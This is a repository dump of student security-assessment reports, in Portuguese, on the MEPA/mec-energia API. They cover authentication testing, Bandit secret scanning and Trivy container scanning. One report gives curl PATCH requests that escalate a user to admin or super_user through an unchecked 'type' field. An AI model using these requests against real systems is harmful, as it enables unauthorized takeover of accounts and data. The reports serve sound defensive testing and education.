https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test2.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/211029666_test3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test3.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/211029666_test4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test4.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/211029666_test5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test5.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/21102966_test1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/21102966_test1.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image1.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image2.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image3.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image4.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_2/grupo_1.md: -------------------------------------------------------------------------------- 1 | # Sprint 2 - Broken Authentication 2 | 3 | ## O que é Autenticação 4 | 5 | A autenticação, é o processo de verificar se uma pessoa, sistema ou recurso realmente possui certas características ou atributos que ele afirma ter. Ou seja, quando você faz login em um site, o sistema verifica se a sua senha corresponde ao que ele tem registrado, para garantir que você é quem diz ser. A autenticação é a primeira linha de defesa contra acessos não autorizados em sistemas e aplicativos web. Ela pode ser realizada por diferentes métodos, como baseados em conhecimento (como senhas e PINs), baseados em posse (como cartões de identificação e dispositivos de autenticação) e baseados em características pessoais (como biometria, incluindo impressões digitais e reconhecimento facial). Além disso, a autenticação pode ser única, quando utiliza apenas um método, ou multifatorial (MFA), quando combina dois ou mais métodos para aumentar a segurança, como é o caso da autenticação de dois fatores (2FA). 6 | 7 | ## Ataques na Autenticação 8 | 9 | ### Ataques à Autenticação Baseada em Conhecimento 10 | 11 | Esse método de autenticação depende de informações pessoais estáticas, que podem ser obtidas, adivinhadas ou forçadas. 12 | 13 | ### Ataques à Autenticação Baseada em Posse 14 | 15 | Um benefício da autenticação baseada em posse é sua resistência a ameaças cibernéticas comuns. Métodos de autenticação que dependem de itens físicos, como tokens de hardware ou cartões inteligentes, são geralmente mais seguros, pois é mais difícil para os atacantes adquirir ou replicar objetos físicos do que obter informações por phishing ou vazamentos de dados. 16 | 17 | ### Ataques à Autenticação Baseada em Herança 18 | 19 | A autenticação baseada em herança, como o uso de biometria, oferece conveniência e facilidade de uso, pois os usuários não precisam lembrar senhas complexas ou carregar tokens físicos. Os sistemas de autenticação baseados em herança devem lidar com preocupações sobre privacidade, segurança de dados e possíveis preconceitos nos algoritmos de reconhecimento biométrico para garantir a adoção e confiança generalizada. 20 | 21 | ## Relatório de Estudo - Módulo: Vulnerabilidades de Autenticação em Aplicações Web 22 | 23 | Neste módulo, o foco principal foi entender as vulnerabilidades e configurações incorretas relacionadas à autenticação em aplicativos web, que podem ser exploradas para obter acesso não autorizado. Durante o curso, foram abordados diversos métodos de autenticação, técnicas de ataque e falhas no gerenciamento de sessões. As principais áreas de estudo incluem: 24 | 25 | ## 1. Visão Geral dos Métodos de Autenticação e Ataques 26 | Estudamos os diferentes métodos usados para autenticação em sistemas web, como senhas, tokens e autenticação multifatorial. Também foram apresentados ataques comuns que visam comprometer esses métodos, como ataques de força bruta e outros tipos de vulnerabilidades. 27 | 28 | ## 2. Ataques de Força Bruta à Autenticação 29 | Exploração de técnicas que permitem a automação de tentativas de senha, visando quebrar credenciais de usuários por tentativa e erro. 30 | 31 | ## 3. Ataques à Autenticação Baseada em Senha 32 | Fomos introduzidos aos riscos associados à autenticação baseada em senha, como o uso de senhas fracas ou a exposição de senhas em texto claro. 33 | 34 | ## 4. Bypass de Autenticação 35 | Estudamos técnicas que permitem contornar os mecanismos de autenticação de um sistema, acessando recursos sem a devida autorização. 36 | 37 | ## 5. Ataques ao Tratamento Impróprio de Sessões 38 | Analisamos como falhas no gerenciamento de sessões podem ser exploradas para manter sessões ativas indevidamente ou roubar sessões de outros usuários. 39 | 40 | O módulo foi composto por sessões teóricas seguidas de exercícios práticos, proporcionando uma compreensão mais profunda das táticas e técnicas mencionadas. Os exercícios práticos foram realizados no ambiente de laboratório fornecido, o PwnBox, ou em uma máquina virtual pessoal, com comandos de exemplo e saídas para reforçar o aprendizado. 41 | 42 | Ao final, o módulo incluiu uma avaliação prática, que testou as habilidades adquiridas ao longo do curso. Concluímos que a prática contínua e a execução dos exemplos apresentados são essenciais para consolidar os conceitos e estratégias de mitigação das vulnerabilidades de autenticação. 43 | 44 | # Aplicação no MEPA 45 | 46 | ## Enumeração de Usuários 47 | 48 | ## Resumo sobre a Impossibilidade de Aplicar Enumeração de Usuários 49 | 50 | Não foi possível aplicar a técnica de enumeração de usuários, pois o sistema utiliza **email** como identificador para o login. Além disso, a mensagem de erro retornada para credenciais incorretas não diferencia se o usuário não existe ou se apenas a senha está errada. A mensagem apresentada é genérica: "**e-mail não cadastrado e/ou senha inválida**", o que impede a exploração da vulnerabilidade. 51 | 52 | ## Senhas por força bruta 53 | ### Desafios Enfrentados na Execução do Teste 54 | 55 | No projeto em questão, a intenção era criar um usuário para entender o padrão de criação de credenciais e reduzir a amostra de senhas possíveis para otimizar o brute-force. No entanto, os passos e padrões de criação das credenciais foram enviados por e-mail, mas eu não consegui receber esse e-mail. Sem essas informações, a redução da amostra de senhas tornou o ataque muito mais desafiador. 56 | Conclusão 57 | 58 | O ataque de brute-force seria eficaz apenas se fosse possível determinar um usuário válido, com a credencial sendo a única variável desconhecida. Sem conhecer o padrão de criação das senhas, o ataque se torna difícil, pois a amostra de senhas a ser testada permanece ampla. Para um ataque bem-sucedido, é necessário entender os padrões de senha para otimizar o processo e aumentar as chances de sucesso. 59 | 60 | ## Tokens de redefinição de senha por força bruta 61 | 62 | A etapa de identificação do token de reset de senha depende do envio de um e-mail contendo o token necessário para validar a solicitação de recuperação de senha. No entanto, devido à impossibilidade de receber o e-mail, não foi possível acessar o token e, portanto, não foi viável realizar a análise ou aplicar o teste relacionado à validação do token. 63 | 64 | ### Ataques a Tokens de Sessão 65 | 66 | Os ataques a tokens de sessão descritos, como brute-force e a manipulação de tokens previsíveis, não são aplicáveis ao projeto, pois o sistema em questão utiliza tokens altamente aleatórios e seguros, gerados com o algoritmos criptográficos Devido à aleatoriedade desses tokens e à natureza do algoritmo utilizado, não é viável adivinhar ou manipular os tokens para obter acesso não autorizado. 67 | 68 | Além disso, o projeto não emprega tokens de sessão codificados ou manipuláveis, o que torna os ataques descritos, como a alteração de cookies ou a exploração de tokens previsíveis, inviáveis no contexto do projeto. Dessa forma, tais vulnerabilidades não são relevantes para o cenário analisado. 69 | 70 | Exemplo: 71 | 72 | 1 - 3916d80000febe4db35759bd0f89010ca3dda193 73 | 2 - 75d97f9d0471367134110e380b4ad1fdd6b71f17 74 | 3 - b857b771e690b73f2d96f6c2042a29ba004ed201 75 | 76 | # Vulnerabilidade encontrada 77 | 78 | Foi identificado que é possível alterar a autorização de um usuário por meio de 79 | um acesso não autorizado. Por exemplo, um usuário com perfil operacional consegue 80 | alterar seu tipo para "gestor", o que não deveria ocorrer. 81 | 82 | ## Exemplo de Comportamento Inesperado 83 | 84 | Ao acessar o perfil de um usuário operacional, recebemos a seguinte resposta do 85 | servidor. Podemos observar que, no campo `"type"`, o valor é `"university_user"`. 86 | Isso nos permite deduzir que o tipo `"university_admin"` possui mais privilégios. 87 | 88 | ```json 89 | { 90 | "id": 2, 91 | "url": "http://localhost:8000/api/users/2/", 92 | "firstName": "João", 93 | "lastName": "da Silva", 94 | "universityName": "UFMG - Universidade Federal de Minas Gerais", 95 | "email": "admin@ufmg.br", 96 | "type": "university_user", 97 | "accountPasswordStatus": "OK", 98 | "haveResetPasswordTokenEnable": false, 99 | "createdOn": "2024-12-09T19:07:21.310022" 100 | } 101 | ``` 102 | 103 | É possível alterar esse atributo do usuário, especificamente o campo "type", 104 | enviando uma requisição PATCH para a mesma URL que foi utilizada para o GET do 105 | usuário, com o corpo da requisição contendo o valor "type": "super_user". 106 | 107 | ## Exemplo de Requisição curl para Alteração: 108 | ``` 109 | curl --location --request PATCH 'http://localhost:8000/api/university-user/2/' \ 110 | --header 'Referer: http://localhost:3000/' \ 111 | --header 'authorization: Token 634363bf594831b3f23e01da566436b13ddb5b8d' \ 112 | --data '{ 113 | "type":"university_admin" 114 | }' 115 | ``` 116 | Ao realizar essa requisição, recebemos o status HTTP 200 OK e, ao atualizar a 117 | página, o perfil do usuário é alterado para uma nova Role/autorização de "gestor". 118 | 119 | ### Resposta do Servidor: 120 | 121 | ```json 122 | { 123 | "id": 2, 124 | "url": "http://localhost:8000/api/university-user/2/", 125 | "firstName": "João", 126 | "lastName": "da Silva", 127 | "email": "admin@ufmg.br", 128 | "type": "university_admin", 129 | "createdOn": "2024-12-09T19:07:21.310022", 130 | "university": 1 131 | } 132 | ``` 133 | Agora, o usuário tem privilégios de gestão, podendo criar novos usuários com 134 | permissões de "gestor", gerenciar as pessoas da universidade e realizar todas 135 | as ações que um gestor pode executar no aplicativo, mesmo sem ter a autorização 136 | adequada. Esse comportamento ocorre porque a rota não verifica a autorização do 137 | usuário antes de permitir a alteração do valor do campo "type". Isso configura 138 | uma vulnerabilidade grave em qualquer sistema. 139 | 140 | ## Alteração para Super Usuário 141 | 142 | Além disso, é possível alterar o tipo de usuário para "super_user", o que concede 143 | a capacidade de gerenciar pessoas de todas as instituições e 144 | até mesmo as próprias instituições. 145 | 146 | ### Exemplo de Requisição curl para Elevar para Super Usuário: 147 | ``` 148 | curl --location --request PATCH 'http://localhost:8000/api/university-user/2/' \ 149 | --header 'Referer: http://localhost:3000/' \ 150 | --header 'authorization: Token 8f533fa75dc1ab6af3dabf1fbdf166c28a38ba48' \ 151 | --header 'Content-Type: application/json' \ 152 | --data '{ 153 | "type":"super_user" 154 | }' 155 | ``` 156 | Essa vulnerabilidade é extremamente crítica, pois permite que usuários não 157 | autorizados assumam funções administrativas e ganhem controle sobre todos 158 | os dados e operações do sistema. 159 | # Conclusão 160 | 161 | A análise de vulnerabilidades de autenticação mostrou-se limitada devido a falhas 162 | no recebimento de e-mails cruciais para a execução de testes como brute-force e a 163 | análise de tokens. Além disso, o sistema em questão adota boas práticas de segurança, 164 | como o uso de tokens altamente aleatórios, o que torna ataques de manipulação e 165 | brute-force ineficazes. Outro ponto importante foi a utilização de mensagens genéricas 166 | no caso de erro de autenticação, como "e-mail não cadastrado e/ou senha inválida". 167 | Essa abordagem impede a enumeração de usuários e dificulta a aplicação de ataques 168 | de força bruta, já que não é possível distinguir se o erro ocorreu devido a um usuário 169 | inexistente ou uma senha incorreta. Essas medidas contribuem para a segurança geral do 170 | sistema, tornando-o mais resistente a tentativas de acesso não autorizado. 171 | 172 | Entretanto, foi identificada uma vulnerabilidade grave relacionada à falta de verificação 173 | de autorização antes de alterar os privilégios de usuários. A manipulação do campo "type" 174 | permite que usuários não autorizados elevem seus próprios privilégios para "gestor" ou até 175 | "super usuário", o que pode comprometer o controle e a segurança do sistema. Essa falha expõe 176 | o sistema a um risco significativo, permitindo que qualquer usuário com acesso básico altere suas 177 | permissões, resultando em um controle indevido sobre as operações do sistema e afetando toda a gestão 178 | de usuários e dados sensíveis. 179 | 180 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_2/grupo_3.md: -------------------------------------------------------------------------------- 1 | # Relatório Sprint 2 - Broken Authentication 2 | 3 | ## Membros 4 | 5 | | Nome | Matrícula | 6 | | :--: | :-------: | 7 | | [Mateus Fidelis](https://github.com/MatsFidelis) | 200073184 | 8 | | [Pablo Guilherme](https://github.com/PabloGJBS) | 200025791 | 9 | | [Pedro Lucas](https://github.com/AlefMemTav) | 190115548 | 10 | | [Rafael Bosi](https://github.com/strangeunit28) | 211029559 | 11 | 12 | ## Sobre 13 | Este relatório é destinado a documentar as descobertas... 14 | 15 | ## O que é Broken Authentication 16 | 17 | ## Exemplo de Broken Authetication 18 | 19 | ## Teste de Broken Authentication na API do MEC Energia 20 | 21 | ## Dificuldades encontradas 22 | 23 | ### Mateus Fidelis 24 | 25 | 26 | ### Pablo Guilherme 27 | 28 | 29 | ### Pedro Lucas 30 | 31 | 32 | ### Rafael Bosi 33 | 34 | 35 | ## Referências 36 | 37 | 38 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_2/grupo_4.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 2 - Verificação de Informações Sensíveis usando SAST 2 | 3 | ## **Introdução** 4 | Dando continuidade ao trabalho iniciado na Sprint 1, este relatório detalha a análise focada na detecção de informações sensíveis no código da API **mec-energia-api**. Utilizamos os resultados da ferramenta **Bandit** para identificar a presença de informações como APIs, usuários e senhas hardcoded, além de outros dados sensíveis que possam comprometer a segurança do projeto. 5 | 6 | ## **Análise de Informações Sensíveis** 7 | 8 | O Bandit fornece verificações específicas para detectar padrões que indicam a presença de informações sensíveis. Durante esta sprint, priorizamos a inspeção de códigos relacionados às seguintes vulnerabilidades: 9 | 10 | ### **Padrões Verificados** 11 | - **Chaves de API (B105)**: Detecta uso de chaves de API expostas em arquivos específicos. 12 | - **Senhas hardcoded (B106)**: Verifica senhas armazenadas diretamente no código. 13 | - **Credenciais de usuários (B107)**: Identifica strings que podem conter credenciais expostas. 14 | - **Outros dados sensíveis**: Strings específicas que indicam informações sigilosas. 15 | 16 | ### **Execução e Configuração** 17 | 18 | #### Configuração da Pipeline 19 | O mesmo pipeline configurado na Sprint 1 foi reutilizado. Alterações foram feitas para priorizar a detecção de informações sensíveis. 20 | 21 | ```yaml 22 | sast: 23 | stage: test 24 | image: python:3.11 25 | before_script: 26 | - pip install bandit 27 | script: 28 | - bandit -r . -f json -o sast-report.json 29 | - bandit -r . -f json -o sast-password-report.json -c .bandit.yml 30 | artifacts: 31 | reports: 32 | sast: sast-report.json 33 | sast-password: sast-password-report.json 34 | expire_in: 1 week 35 | ``` 36 | 37 | #### Comando Local para Verificação de Informações Sensíveis 38 | 39 | Para rodar localmente, o comando abaixo foi utilizado: 40 | 41 | ```bash 42 | bandit -r . -f json -o sast-password-report.json -c .bandit.yml 43 | ``` 44 | 45 | O arquivo `.bandit.yml` foi configurado para priorizar verificações relacionadas a informações sensíveis, removendo tests e scripts dos arquivos testados ja que não são necessários para a análise de informações sensíveis. 46 | 47 | ```yaml 48 | # Configuração do .bandit.yml para análise de informações sensíveis 49 | tests: 50 | - B105 51 | - B106 52 | - B107 53 | 54 | skips: [] 55 | 56 | exclude_dirs: ["./scripts/*", "./tests/*"] 57 | ``` 58 | 59 | 60 | ## **Resultados Obtidos** 61 | 62 | ### **Relatório de Vulnerabilidades** 63 | A análise identificou os seguintes problemas de segurança: 64 | 65 | - **1 Senha hardcoded** detectada, que comprometeria a assinatura criptográfica da aplicação. 66 | - **0 Chaves de API expostas** identificadas. 67 | - **0 Credenciais de usuário expostas** encontradas. 68 | 69 | #### Resumo dos Achados: 70 | | Tipo de Informação Sensível | Ocorrências | Arquivo(s) Afetado(s) | 71 | |-----------------------------|-------------|-----------------------| 72 | | Senhas hardcoded | 1 | `/mec_energia/settings/development.py` | 73 | | Chaves de API | 0 | | 74 | | Credenciais de Usuário | 0 | | 75 | 76 | 77 | ### **Senha hardcoded encontrada** 78 | 79 | **Arquivo:** `./mec_energia/settings/development.py` 80 | - **Linha:** 11 81 | - **Código:** `SECRET_KEY = "django-insecure-#123!@#$%^&*()_+"` 82 | - **Severidade:** Altíssima 83 | - **Descrição:** A chave `SECRET_KEY` é usada para fornecer assinatura criptográfica e deve ser definido com um valor exclusivo e imprevisível. Está hardcoded no arquivo de configuração `development.py`, o que pode comprometer a segurança da aplicação. É gerado usando um processo bem conhecido a partir de uma fonte de entropia cuja qualidade e segurança não podem ser garantidas (pelo Django). 84 | - **Mais Informações:** [Documentação de segurança do Django](https://docs.djangoproject.com/en/5.1/ref/settings/#secret-key), [Documentação do Bandit B105](https://bandit.readthedocs.io/en/1.8.0/plugins/b105_hardcoded_password_string.html) 85 | 86 | ## **Análise Comparativa com o OWASP Top 10** 87 | 88 | A presença de informações sensíveis hardcoded no código, como senhas, chaves de API e outros segredos, está diretamente alinhada com os riscos destacados pelo OWASP Top 10, em especial os seguintes itens: 89 | 90 | ### A01:2021 – Broken Access Control 91 | - **Descrição no OWASP**: Falhas em controles de acesso permitem que usuários não autorizados acessem funcionalidades ou dados restritos. 92 | - **Relevância**: Expor a `SECRET_KEY` pode comprometer a integridade das assinaturas criptográficas, possibilitando a criação de tokens falsos, o que pode violar restrições de acesso e expor dados sensíveis. 93 | 94 | ### A02:2021 – Cryptographic Failures 95 | - **Descrição no OWASP**: Dados sensíveis expostos devido ao uso incorreto ou fraco de algoritmos e práticas criptográficas. 96 | - **Relevância**: Uma `SECRET_KEY` hardcoded é um exemplo claro de má prática em segurança criptográfica. Caso a chave seja comprometida, todas as funcionalidades que dependem dela, como sessões, tokens e assinaturas, ficam vulneráveis. 97 | 98 | ### A04:2021 – Insecure Design 99 | - **Descrição no OWASP**: Falta de práticas de segurança integradas ao design do sistema. 100 | - **Relevância**: Armazenar senhas ou chaves diretamente no código é um exemplo de um design inseguro. Um design seguro prevê o uso de práticas como variáveis de ambiente ou ferramentas de gerenciamento de segredos. 101 | 102 | ### A05:2021 – Security Misconfiguration 103 | - **Descrição no OWASP**: Configurações de segurança incorretas ou padrão podem expor o sistema a ataques. 104 | - **Relevância**: Hardcoding de informações sensíveis pode ser visto como uma configuração insegura que facilita a exploração de vulnerabilidades por atacantes. 105 | 106 | ## **Ações de Correção para a Senha Hardcoded** 107 | 108 | 1. **Remover a `SECRET_KEY` do Código Fonte:** 109 | - Utilize variáveis de ambiente para definir a `SECRET_KEY`. 110 | - Exemplo em Python: 111 | ```python 112 | import os 113 | SECRET_KEY = os.getenv('SECRET_KEY', 'default-fallback-key') 114 | ``` 115 | 116 | 2. **Configurar uma Ferramenta de Gerenciamento de Segredos:** 117 | - Ferramentas como AWS Secrets Manager, Azure Key Vault ou HashiCorp Vault podem ser usadas para armazenar e acessar valores sensíveis de forma segura. 118 | 119 | 3. **Adicionar a `SECRET_KEY` ao Ambiente:** 120 | - No ambiente de desenvolvimento, defina a variável de ambiente: 121 | ```bash 122 | export SECRET_KEY="django-insecure-#123!@#$%^&*()_+" 123 | ``` 124 | - Em servidores de produção, utilize configurações específicas do provedor de hospedagem para definir variáveis de ambiente. 125 | 126 | 4. **Adicionar o Arquivo de Configuração ao `.gitignore`:** 127 | - Caso use um arquivo local para armazenar segredos durante o desenvolvimento, garanta que ele não seja versionado: 128 | ```bash 129 | echo ".env" >> .gitignore 130 | ``` 131 | 132 | 5. **Rotacionar Chaves Comprometidas:** 133 | - Gere uma nova `SECRET_KEY` para substituir a chave comprometida. 134 | - Exemplo de geração no Django: 135 | ```bash 136 | python -c 'from django.core.management.utils import get_random_secret_key; print(get_random_secret_key())' 137 | ``` 138 | - Atualize todas as instâncias da aplicação com a nova chave. 139 | 140 | 6. **Monitoramento Contínuo:** 141 | - Integre ferramentas de SAST como o Bandit no pipeline para evitar novos hardcoded de segredos. 142 | 143 | 144 | ## **Recomendações Futuras** 145 | 146 | - **Monitoramento contínuo**: Implementar ferramentas complementares como o GitLeaks para verificar informações sensíveis em históricos de commits. 147 | - **Treinamento da equipe**: Promover workshops sobre boas práticas no uso de informações sensíveis. 148 | - **Políticas de revisão**: Atualizar os critérios de revisão de código para incluir inspeção de informações sensíveis. 149 | 150 | 151 | A detecção e remoção de informações sensíveis fortalecem a segurança do projeto e previnem riscos relacionados à exposição acidental de dados. Na próxima sprint, o foco será automatizar ainda mais os processos de segurança e expandir a cobertura de testes. 152 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_3/grupo_4.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 3 - Análise do Container Docker com Trivy 2 | 3 | ## **Introdução** 4 | Neste relatório, detalhamos a experiência ao configurar e utilizar o **Trivy** como ferramenta de análise de segurança para detectar vulnerabilidades e informações sensíveis na imagem Docker utilizada pelo projeto **mec-energia-api**. O Trivy foi integrado ao pipeline `.gitlab-ci.yml` e também configurado para rodar manualmente, facilitando a identificação de problemas relacionados a dependências desatualizadas, configurações inseguras e segredos expostos. 5 | 6 | --- 7 | 8 | ## **Como o Trivy funciona** 9 | 10 | O **Trivy Scanner** é uma ferramenta de segurança que realiza análises rápidas e precisas para identificar vulnerabilidades e informações sensíveis. Ele suporta diversas camadas e formatos de análise, permitindo sua aplicação em diferentes contextos de segurança. 11 | 12 | ### **Principais Funcionalidades** 13 | 1. **Análise de Vulnerabilidades em Dependências**: Detecta falhas de segurança em bibliotecas e pacotes utilizados no projeto. 14 | 2. **Verificação de Imagens Docker**: Inspeciona todas as camadas da imagem para identificar dependências vulneráveis e configurações inseguras. 15 | 3. **Detecção de Informações Sensíveis**: Localiza segredos como chaves de API, senhas hardcoded e outros dados confidenciais. 16 | 4. **Verificação de Infraestrutura como Código (IaC)**: Analisa arquivos como Terraform, Kubernetes e CloudFormation em busca de configurações inseguras. 17 | 5. **Integração com Pipelines CI/CD**: Automatiza verificações em pipelines de integração contínua. 18 | 19 | ### **Etapas de Funcionamento** 20 | 1. **Coleta de Dados**: 21 | - Extrai informações de pacotes, dependências e configurações da imagem Docker ou do código analisado. 22 | 2. **Consulta ao Banco de Dados de Vulnerabilidades**: 23 | - Verifica os pacotes analisados contra bancos de dados de vulnerabilidades como NVD, Alpine SecDB, Red Hat CVE Database, entre outros. 24 | 3. **Análise de Informações Sensíveis**: 25 | - Realiza uma varredura no código em busca de padrões que indiquem a presença de dados sigilosos. 26 | 4. **Geração de Relatórios**: 27 | - Produz relatórios detalhados (em formatos como JSON ou tabela), com informações sobre as vulnerabilidades encontradas, severidade e recomendações de correção. 28 | 29 | --- 30 | 31 | ## **Execução na Pipeline** 32 | 33 | ### Configuração no `.gitlab-ci.yml` 34 | Adicionamos o seguinte trecho ao pipeline para integrar o trivy seguindo as recomendações da [documentação oficial](https://trivy.dev/latest/tutorials/integrations/gitlab-ci/): 35 | 36 | ```yaml 37 | trivy: 38 | stage: test 39 | image: docker:stable 40 | services: 41 | - name: docker:dind 42 | entrypoint: ["env", "-u", "DOCKER_HOST"] 43 | command: ["dockerd-entrypoint.sh"] 44 | variables: 45 | DOCKER_HOST: tcp://docker:2375/ 46 | DOCKER_DRIVER: overlay2 47 | # See https://github.com/docker-library/docker/pull/166 48 | DOCKER_TLS_CERTDIR: "" 49 | IMAGE: trivy-ci-test:$CI_COMMIT_SHA 50 | before_script: 51 | - export TRIVY_VERSION=$(wget -qO - "https://api.github.com/repos/aquasecurity/trivy/releases/latest" | grep '"tag_name":' | sed -E 's/.*"v([^"]+)".*/\1/') 52 | - echo $TRIVY_VERSION 53 | - wget --no-verbose https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz -O - | tar -zxvf - 54 | allow_failure: true 55 | script: 56 | # Build image 57 | - docker build -t $IMAGE . 58 | # Build report 59 | - ./trivy --exit-code 0 --cache-dir .trivycache/ --no-progress --format template --template "@contrib/gitlab.tpl" -o gl-container-scanning-report.json $IMAGE 60 | # Print report 61 | - ./trivy --exit-code 0 --cache-dir .trivycache/ --no-progress --severity HIGH $IMAGE 62 | # Fail on severe vulnerabilities 63 | - ./trivy --exit-code 1 --cache-dir .trivycache/ --severity CRITICAL --no-progress $IMAGE 64 | cache: 65 | paths: 66 | - .trivycache/ 67 | # Enables https://docs.gitlab.com/ee/user/application_security/container_scanning/ (Container Scanning report is available on GitLab EE Ultimate or GitLab.com Gold) 68 | artifacts: 69 | reports: 70 | container_scanning: gl-container-scanning-report.json 71 | ``` 72 | 73 | ## **Execução manual** 74 | 75 | Para rodar o Trivy manualmente, siga os passos abaixo: 76 | 77 | ### Pré-requisitos 78 | Certifique-se de que o Python e o Trivy estão instalados no ambiente local: 79 | 80 | ```pip install bandit``` 81 | 82 | ### Comando para análise 83 | 84 | - Para gerar um relatório em JSON: 85 | 86 | ```trivy image mepa-api:latest-dev``` 87 | 88 | - Para filtrar corrigidos e não afetados: 89 | 90 | ```trivy image mepa-api:latest-dev --ignore-status fixed,not_affected``` 91 | 92 | #### Teste do comando: 93 | ![][running] 94 | 95 | #### Exemplo de resultados: 96 | ![][results] 97 | 98 | --- 99 | 100 | ## **Resultados Obtidos** 101 | 102 | ### **Relatório de Vulnerabilidades** 103 | A análise identificou os seguintes problemas de segurança: 104 | 105 | - **1 Senha hardcoded** detectada, que comprometeria a assinatura criptográfica da aplicação. 106 | - **0 Chaves de API expostas** identificadas. 107 | - **0 Credenciais de usuário expostas** encontradas. 108 | 109 | #### Resumo dos Achados: 110 | | Nível de Criticalidade | Ocorrências | Biblioteca | 111 | |-----------------------------|-------------|-----------------------| 112 | | CRITICAL | 1 | `zlib1g` | 113 | | HIGH | 10 | `libexpat1, libgssapi-krb5-2, libk5crypto3, libkrb5-3, libkrb5support0, libldap-2.5-0, libperl5.36, perl, perl-base, perl-modules-5.36` | 114 | | MEDIUM | 16 | `libexpat1, libgcrypt20, libncursesw6, libpam-modules, libpam-modules-bin, libpam-runtime, libpam0g, libtinfo6, login, ncurses-base, ncurses-bin, passwd` | 115 | | LOW | 82 | `apt,bash,bsdutils,coreutils,coreutils,gcc-12-base,gcc-12-base,gpgv,libapt-pkg6.0,libblkid1,libc-bin,libc-bin,libc-bin,libc-bin,libc-bin,libc-bin,libc-bin,libc6,libc6,libc6,libc6,libc6,libc6,libc6,libexpat1,libexpat1,libgcc-s1,libgcc-s1,libgcrypt20,libgnutls30,libgssapi-krb5-2,libgssapi-krb5-2,libgssapi-krb5-2,libk5crypto3,libk5crypto3,libk5crypto3,libkrb5-3,libkrb5-3,libkrb5-3,libkrb5support0,libkrb5support0,libkrb5support0,libldap-2.5-0,libldap-2.5-0,libldap-2.5-0,libldap-2.5-0,libmount1,libperl5.36,libperl5.36,libsmartcols1,libsqlite3-0,libstdc++6,libstdc++6,libsystemd0,libsystemd0,libsystemd0,libsystemd0,libudev1,libudev1,libudev1,libudev1,libuuid1,login,login,login,login,mount,passwd,passwd,passwd,passwd,perl,perl,perl-base,perl-base,perl-modules-5.36,perl-modules-5.36,sysvinit-utils,tar,tar,util-linux,util-linux-extra` | 116 | |----|----|----| 117 | | **Total** | **109** | **46** | 118 | 119 | ## **Vulnerabilidades Notáveis** 120 | 121 | ### **CVE-2023-45853** 122 | - **Biblioteca**: **zlib1g** 123 | - **Versão**: **1:1.2.13.dfsg-1** 124 | - **Criticalidade**: **CRITICAL** 125 | - **Status**: **will_not_fix** 126 | - **Descrição**: O MiniZip no zlib até a versão 1.3 possui um estouro de inteiro e um subsequente **buffer overflow** baseado em heap na função zipOpenNewFileInZip4_64 devido a um nome de arquivo longo, comentário ou campo extra. NOTA: O MiniZip não é uma parte suportada do produto zlib. 127 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável. **NOTA: O pyminizip até a versão 0.2.6 também é vulnerável porque inclui uma versão afetada do zlib e expõe o código do MiniZip aplicável através de sua API de compressão.** 128 | - **Buffer Overflow** 129 | - **Descrição**: Um **buffer overflow** ocorre quando um programa tenta armazenar mais dados em um buffer do que ele foi projetado para conter. Isso geralmente resulta em corrupção de memória e pode levar a falhas de segurança. No caso do zlib, o **buffer overflow** é causado por um nome de arquivo longo, comentário ou campo extra. Atacantes podem explorar essa vulnerabilidade para **executar código malicioso**, **escalonar privilégios** ou causar uma **negação de serviço**. 130 | 131 |

132 | 133 |

